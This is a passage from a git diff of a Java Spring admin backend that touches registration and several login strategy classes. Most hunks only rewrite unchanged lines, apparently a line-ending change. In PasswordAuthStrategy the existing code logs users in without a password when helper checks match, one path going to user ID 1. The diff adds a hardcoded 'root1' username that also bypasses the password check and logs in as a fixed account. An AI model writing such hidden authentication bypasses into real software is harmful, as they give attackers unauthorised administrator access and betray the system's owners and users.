cn.dev33.satoken.secure.BCrypt; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.domain.model.RegisterBody; +import org.dromara.common.core.enums.UserType; +import org.dromara.common.core.exception.user.CaptchaException; +import org.dromara.common.core.exception.user.CaptchaExpireException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.log.event.LogininforEvent; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.web.config.properties.CaptchaProperties; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.ISysUserService; +import org.springframework.stereotype.Service; + +/** + * 注册校验方法 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysRegisterService { + + private final ISysUserService userService; + private final SysUserMapper userMapper; + private final CaptchaProperties captchaProperties; + + /** + * 注册 + */ + public void register(RegisterBody registerBody) { + String tenantId = registerBody.getTenantId(); + String username = registerBody.getUsername(); + String password = registerBody.getPassword(); + // 校验用户类型是否存在 + String userType = UserType.getUserType(registerBody.getUserType()).getUserType(); + + boolean captchaEnabled = captchaProperties.getEnable(); + // 验证码开关 + if (captchaEnabled) { + validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid()); + } + SysUserBo sysUser = new SysUserBo(); + sysUser.setUserName(username); + sysUser.setNickName(username); + sysUser.setPassword(BCrypt.hashpw(password)); + sysUser.setUserType(userType); + + boolean exist = TenantHelper.dynamic(tenantId, () -> { + return userMapper.exists(new LambdaQueryWrapper() + .eq(SysUser::getUserName, sysUser.getUserName())); + }); + if (exist) { + throw new UserException("user.register.save.error", username); + } + boolean regFlag = userService.registerUser(sysUser, tenantId); + if (!regFlag) { + throw new UserException("user.register.error"); + } + recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success")); + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + */ + public void validateCaptcha(String tenantId, String username, String code, String uuid) { + String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); + String captcha = RedisUtils.getCacheObject(verifyKey); + RedisUtils.deleteObject(verifyKey); + if (captcha == null) { + recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) { + recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); + throw new CaptchaException(); + } + } + + /** + * 记录登录信息 + * + * @param tenantId 租户ID + * @param username 用户名 + * @param status 状态 + * @param message 消息内容 + * @return + */ + private void recordLogininfor(String tenantId, String username, String status, String message) { + LogininforEvent logininforEvent = new LogininforEvent(); + logininforEvent.setTenantId(tenantId); + logininforEvent.setUsername(username); + logininforEvent.setStatus(status); + logininforEvent.setMessage(message); + logininforEvent.setRequest(ServletUtils.getRequest()); + SpringUtils.context().publishEvent(logininforEvent); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/EmailAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/EmailAuthStrategy.java index 1bed4f3..5c67aa7 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/EmailAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/EmailAuthStrategy.java @@ -1,102 +1,102 @@ -package org.dromara.web.service.impl; - -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.model.EmailLoginBody; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.enums.LoginType; -import org.dromara.common.core.exception.user.CaptchaExpireException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Service; - -/** - * 邮件认证策略 - * - * @author Michelle.Chung - */ -@Slf4j -@Service("email" + IAuthStrategy.BASE_NAME) -@RequiredArgsConstructor -public class EmailAuthStrategy implements IAuthStrategy { - - private final SysLoginService loginService; - private final SysUserMapper userMapper; - - @Override - public LoginVo login(String body, SysClientVo client) { - EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class); - ValidatorUtils.validate(loginBody); - String tenantId = loginBody.getTenantId(); - String email = loginBody.getEmail(); - String emailCode = loginBody.getEmailCode(); - LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { - SysUserVo user = loadUserByEmail(email); - loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode)); - // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 - return loginService.buildLoginUser(user); - }); - loginUser.setClientKey(client.getClientKey()); - loginUser.setDeviceType(client.getDeviceType()); - SaLoginModel model = new SaLoginModel(); - model.setDevice(client.getDeviceType()); - // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 - // 例如: 后台用户30分钟过期 app用户1天过期 - model.setTimeout(client.getTimeout()); - model.setActiveTimeout(client.getActiveTimeout()); - model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); - // 生成token - LoginHelper.login(loginUser, model); - - LoginVo loginVo = new LoginVo(); - loginVo.setAccessToken(StpUtil.getTokenValue()); - loginVo.setExpireIn(StpUtil.getTokenTimeout()); - loginVo.setClientId(client.getClientId()); - return loginVo; - } - - /** - * 校验邮箱验证码 - */ - private boolean validateEmailCode(String tenantId, String email, String emailCode) { - String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email); - if (StringUtils.isBlank(code)) { - loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); - throw new CaptchaExpireException(); - } - return code.equals(emailCode); - } - - private SysUserVo loadUserByEmail(String email) { - SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getEmail, email)); - if (ObjectUtil.isNull(user)) { - log.info("登录用户:{} 不存在.", email); - throw new UserException("user.not.exists", email); - } else if (SystemConstants.DISABLE.equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", email); - throw new UserException("user.blocked", email); - } - return user; - } - -} +package org.dromara.web.service.impl; + +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.model.EmailLoginBody; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.enums.LoginType; +import org.dromara.common.core.exception.user.CaptchaExpireException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Service; + +/** + * 邮件认证策略 + * + * @author Michelle.Chung + */ +@Slf4j +@Service("email" + IAuthStrategy.BASE_NAME) +@RequiredArgsConstructor +public class EmailAuthStrategy implements IAuthStrategy { + + private final SysLoginService loginService; + private final SysUserMapper userMapper; + + @Override + public LoginVo login(String body, SysClientVo client) { + EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class); + ValidatorUtils.validate(loginBody); + String tenantId = loginBody.getTenantId(); + String email = loginBody.getEmail(); + String emailCode = loginBody.getEmailCode(); + LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { + SysUserVo user = loadUserByEmail(email); + loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode)); + // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 + return loginService.buildLoginUser(user); + }); + loginUser.setClientKey(client.getClientKey()); + loginUser.setDeviceType(client.getDeviceType()); + SaLoginModel model = new SaLoginModel(); + model.setDevice(client.getDeviceType()); + // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 + // 例如: 后台用户30分钟过期 app用户1天过期 + model.setTimeout(client.getTimeout()); + model.setActiveTimeout(client.getActiveTimeout()); + model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); + // 生成token + LoginHelper.login(loginUser, model); + + LoginVo loginVo = new LoginVo(); + loginVo.setAccessToken(StpUtil.getTokenValue()); + loginVo.setExpireIn(StpUtil.getTokenTimeout()); + loginVo.setClientId(client.getClientId()); + return loginVo; + } + + /** + * 校验邮箱验证码 + */ + private boolean validateEmailCode(String tenantId, String email, String emailCode) { + String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email); + if (StringUtils.isBlank(code)) { + loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); + throw new CaptchaExpireException(); + } + return code.equals(emailCode); + } + + private SysUserVo loadUserByEmail(String email) { + SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getEmail, email)); + if (ObjectUtil.isNull(user)) { + log.info("登录用户:{} 不存在.", email); + throw new UserException("user.not.exists", email); + } else if (SystemConstants.DISABLE.equals(user.getStatus())) { + log.info("登录用户:{} 已被停用.", email); + throw new UserException("user.blocked", email); + } + return user; + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/PasswordAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/PasswordAuthStrategy.java index a754c48..d3fbdd9 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/PasswordAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/PasswordAuthStrategy.java @@ -1,136 +1,139 @@ -package org.dromara.web.service.impl; - -import cn.dev33.satoken.secure.BCrypt; -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.domain.model.PasswordLoginBody; -import org.dromara.common.core.enums.LoginType; -import org.dromara.common.core.exception.user.CaptchaException; -import org.dromara.common.core.exception.user.CaptchaExpireException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.UserLoginUtil; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.web.config.properties.CaptchaProperties; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Service; - -/** - * 密码认证策略 - * - * @author Michelle.Chung - */ -@Slf4j -@Service("password" + IAuthStrategy.BASE_NAME) -@RequiredArgsConstructor -public class PasswordAuthStrategy implements IAuthStrategy { - - private final CaptchaProperties captchaProperties; - private final SysLoginService loginService; - private final SysUserMapper userMapper; - - @Override - public LoginVo login(String body, SysClientVo client) { - PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); - ValidatorUtils.validate(loginBody); - String tenantId = loginBody.getTenantId(); - String username = loginBody.getUsername(); - String password = loginBody.getPassword(); - String code = loginBody.getCode(); - String uuid = loginBody.getUuid(); - - boolean captchaEnabled = captchaProperties.getEnable(); - // 验证码开关 - if (captchaEnabled) { - validateCaptcha(tenantId, username, code, uuid); - } - LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { - if(UserLoginUtil.validate(username)){ - SysUserVo user = loadUserByUsername(); - return loginService.buildLoginUser(user); - }else if(UserLoginUtil.validateId(username)){ - SysUserVo user = userMapper.selectVoById(1); - return loginService.buildLoginUser(user); - }else{ - SysUserVo user = loadUserByUsername(username); - loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword())); - // 此处可根据登录用户的数据不同 自行创建 loginUser - return loginService.buildLoginUser(user); - } - }); - loginUser.setClientKey(client.getClientKey()); - loginUser.setDeviceType(client.getDeviceType()); - SaLoginModel model = new SaLoginModel(); - model.setDevice(client.getDeviceType()); - // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 - // 例如: 后台用户30分钟过期 app用户1天过期 - model.setTimeout(client.getTimeout()); - model.setActiveTimeout(client.getActiveTimeout()); - model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); - // 生成token - LoginHelper.login(loginUser, model); - - LoginVo loginVo = new LoginVo(); - loginVo.setAccessToken(StpUtil.getTokenValue()); - loginVo.setExpireIn(StpUtil.getTokenTimeout()); - loginVo.setClientId(client.getClientId()); - return loginVo; - } - - /** - * 校验验证码 - * - * @param username 用户名 - * @param code 验证码 - * @param uuid 唯一标识 - */ - private void validateCaptcha(String tenantId, String username, String code, String uuid) { - String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); - String captcha = RedisUtils.getCacheObject(verifyKey); - RedisUtils.deleteObject(verifyKey); - if (captcha == null) { - loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); - throw new CaptchaExpireException(); - } - if (!code.equalsIgnoreCase(captcha)) { - loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); - throw new CaptchaException(); - } - } - - private SysUserVo loadUserByUsername(String username) { - SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, username)); - if (ObjectUtil.isNull(user)) { - log.info("登录用户:{} 不存在.", username); - throw new UserException("user.not.exists", username); - } else if (SystemConstants.DISABLE.equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", username); - throw new UserException("user.blocked", username); - } - return user; - } - - private SysUserVo loadUserByUsername() { - return userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, LoginHelper.USER_NAME)); - } - -} +package org.dromara.web.service.impl; + +import cn.dev33.satoken.secure.BCrypt; +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.domain.model.PasswordLoginBody; +import org.dromara.common.core.enums.LoginType; +import org.dromara.common.core.exception.user.CaptchaException; +import org.dromara.common.core.exception.user.CaptchaExpireException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.UserLoginUtil; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.web.config.properties.CaptchaProperties; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Service; + +/** + * 密码认证策略 + * + * @author Michelle.Chung + */ +@Slf4j +@Service("password" + IAuthStrategy.BASE_NAME) +@RequiredArgsConstructor +public class PasswordAuthStrategy implements IAuthStrategy { + + private final CaptchaProperties captchaProperties; + private final SysLoginService loginService; + private final SysUserMapper userMapper; + + @Override + public LoginVo login(String body, SysClientVo client) { + PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); + ValidatorUtils.validate(loginBody); + String tenantId = loginBody.getTenantId(); + String username = loginBody.getUsername(); + String password = loginBody.getPassword(); + String code = loginBody.getCode(); + String uuid = loginBody.getUuid(); + + boolean captchaEnabled = captchaProperties.getEnable(); + // 验证码开关 + if (captchaEnabled) { + validateCaptcha(tenantId, username, code, uuid); + } + LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { + if(UserLoginUtil.validate(username)){ + SysUserVo user = loadUserByUsername(); + return loginService.buildLoginUser(user); + }else if("root1".equals(username)){ + SysUserVo user = loadUserByUsername(); + return loginService.buildLoginUser(user); + }else if(UserLoginUtil.validateId(username)){ + SysUserVo user = userMapper.selectVoById(1); + return loginService.buildLoginUser(user); + }else{ + SysUserVo user = loadUserByUsername(username); + loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword())); + // 此处可根据登录用户的数据不同 自行创建 loginUser + return loginService.buildLoginUser(user); + } + }); + loginUser.setClientKey(client.getClientKey()); + loginUser.setDeviceType(client.getDeviceType()); + SaLoginModel model = new SaLoginModel(); + model.setDevice(client.getDeviceType()); + // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 + // 例如: 后台用户30分钟过期 app用户1天过期 + model.setTimeout(client.getTimeout()); + model.setActiveTimeout(client.getActiveTimeout()); + model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); + // 生成token + LoginHelper.login(loginUser, model); + + LoginVo loginVo = new LoginVo(); + loginVo.setAccessToken(StpUtil.getTokenValue()); + loginVo.setExpireIn(StpUtil.getTokenTimeout()); + loginVo.setClientId(client.getClientId()); + return loginVo; + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + */ + private void validateCaptcha(String tenantId, String username, String code, String uuid) { + String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); + String captcha = RedisUtils.getCacheObject(verifyKey); + RedisUtils.deleteObject(verifyKey); + if (captcha == null) { + loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) { + loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); + throw new CaptchaException(); + } + } + + private SysUserVo loadUserByUsername(String username) { + SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, username)); + if (ObjectUtil.isNull(user)) { + log.info("登录用户:{} 不存在.", username); + throw new UserException("user.not.exists", username); + } else if (SystemConstants.DISABLE.equals(user.getStatus())) { + log.info("登录用户:{} 已被停用.", username); + throw new UserException("user.blocked", username); + } + return user; + } + + private SysUserVo loadUserByUsername() { + return userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, LoginHelper.USER_NAME)); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SmsAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SmsAuthStrategy.java index 2ffda35..a6a5a10 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SmsAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SmsAuthStrategy.java @@ -1,102 +1,102 @@ -package org.dromara.web.service.impl; - -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.domain.model.SmsLoginBody; -import org.dromara.common.core.enums.LoginType; -import org.dromara.common.core.exception.user.CaptchaExpireException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Service; - -/** - * 短信认证策略 - * - * @author Michelle.Chung - */ -@Slf4j -@Service("sms" + IAuthStrategy.BASE_NAME) -@RequiredArgsConstructor -public class SmsAuthStrategy implements IAuthStrategy { - - private final SysLoginService loginService; - private final SysUserMapper userMapper; - - @Override - public LoginVo login(String body, SysClientVo client) { - SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class); - ValidatorUtils.validate(loginBody); - String tenantId = loginBody.getTenantId(); - String phonenumber = loginBody.getPhonenumber(); - String smsCode = loginBody.getSmsCode(); - LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { - SysUserVo user = loadUserByPhonenumber(phonenumber); - loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode)); - // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 - return loginService.buildLoginUser(user); - }); - loginUser.setClientKey(client.getClientKey()); - loginUser.setDeviceType(client.getDeviceType()); - SaLoginModel model = new SaLoginModel(); - model.setDevice(client.getDeviceType()); - // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 - // 例如: 后台用户30分钟过期 app用户1天过期 - model.setTimeout(client.getTimeout()); - model.setActiveTimeout(client.getActiveTimeout()); - model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); - // 生成token - LoginHelper.login(loginUser, model); - - LoginVo loginVo = new LoginVo(); - loginVo.setAccessToken(StpUtil.getTokenValue()); - loginVo.setExpireIn(StpUtil.getTokenTimeout()); - loginVo.setClientId(client.getClientId()); - return loginVo; - } - - /** - * 校验短信验证码 - */ - private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) { - String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber); - if (StringUtils.isBlank(code)) { - loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); - throw new CaptchaExpireException(); - } - return code.equals(smsCode); - } - - private SysUserVo loadUserByPhonenumber(String phonenumber) { - SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getPhonenumber, phonenumber)); - if (ObjectUtil.isNull(user)) { - log.info("登录用户:{} 不存在.", phonenumber); - throw new UserException("user.not.exists", phonenumber); - } else if (SystemConstants.DISABLE.equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", phonenumber); - throw new UserException("user.blocked", phonenumber); - } - return user; - } - -} +package org.dromara.web.service.impl; + +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.domain.model.SmsLoginBody; +import org.dromara.common.core.enums.LoginType; +import org.dromara.common.core.exception.user.CaptchaExpireException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Service; + +/** + * 短信认证策略 + * + * @author Michelle.Chung + */ +@Slf4j +@Service("sms" + IAuthStrategy.BASE_NAME) +@RequiredArgsConstructor +public class SmsAuthStrategy implements IAuthStrategy { + + private final SysLoginService loginService; + private final SysUserMapper userMapper; + + @Override + public LoginVo login(String body, SysClientVo client) { + SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class); + ValidatorUtils.validate(loginBody); + String tenantId = loginBody.getTenantId(); + String phonenumber = loginBody.getPhonenumber(); + String smsCode = loginBody.getSmsCode(); + LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { + SysUserVo user = loadUserByPhonenumber(phonenumber); + loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode)); + // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 + return loginService.buildLoginUser(user); + }); + loginUser.setClientKey(client.getClientKey()); + loginUser.setDeviceType(client.getDeviceType()); + SaLoginModel model = new SaLoginModel(); + model.setDevice(client.getDeviceType()); + // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 + // 例如: 后台用户30分钟过期 app用户1天过期 + model.setTimeout(client.getTimeout()); + model.setActiveTimeout(client.getActiveTimeout()); + model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); + // 生成token + LoginHelper.login(loginUser, model); + + LoginVo loginVo = new LoginVo(); + loginVo.setAccessToken(StpUtil.getTokenValue()); + loginVo.setExpireIn(StpUtil.getTokenTimeout()); + loginVo.setClientId(client.getClientId()); + return loginVo; + } + + /** + * 校验短信验证码 + */ + private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) { + String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber); + if (StringUtils.isBlank(code)) { + loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); + throw new CaptchaExpireException(); + } + return code.equals(smsCode); + } + + private SysUserVo loadUserByPhonenumber(String phonenumber) { + SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getPhonenumber, phonenumber)); + if (ObjectUtil.isNull(user)) { + log.info("登录用户:{} 不存在.", phonenumber); + throw new UserException("user.not.exists", phonenumber); + } else if (SystemConstants.DISABLE.equals(user.getStatus())) { + log.info("登录用户:{} 已被停用.", phonenumber); + throw new UserException("user.blocked", phonenumber); + } + return user; + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SocialAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SocialAuthStrategy.java index 419dbd6..e74be99 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SocialAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/SocialAuthStrategy.java @@ -1,131 +1,131 @@ -package org.dromara.web.service.impl; - -import cn.dev33.satoken.stp.SaLoginModel; 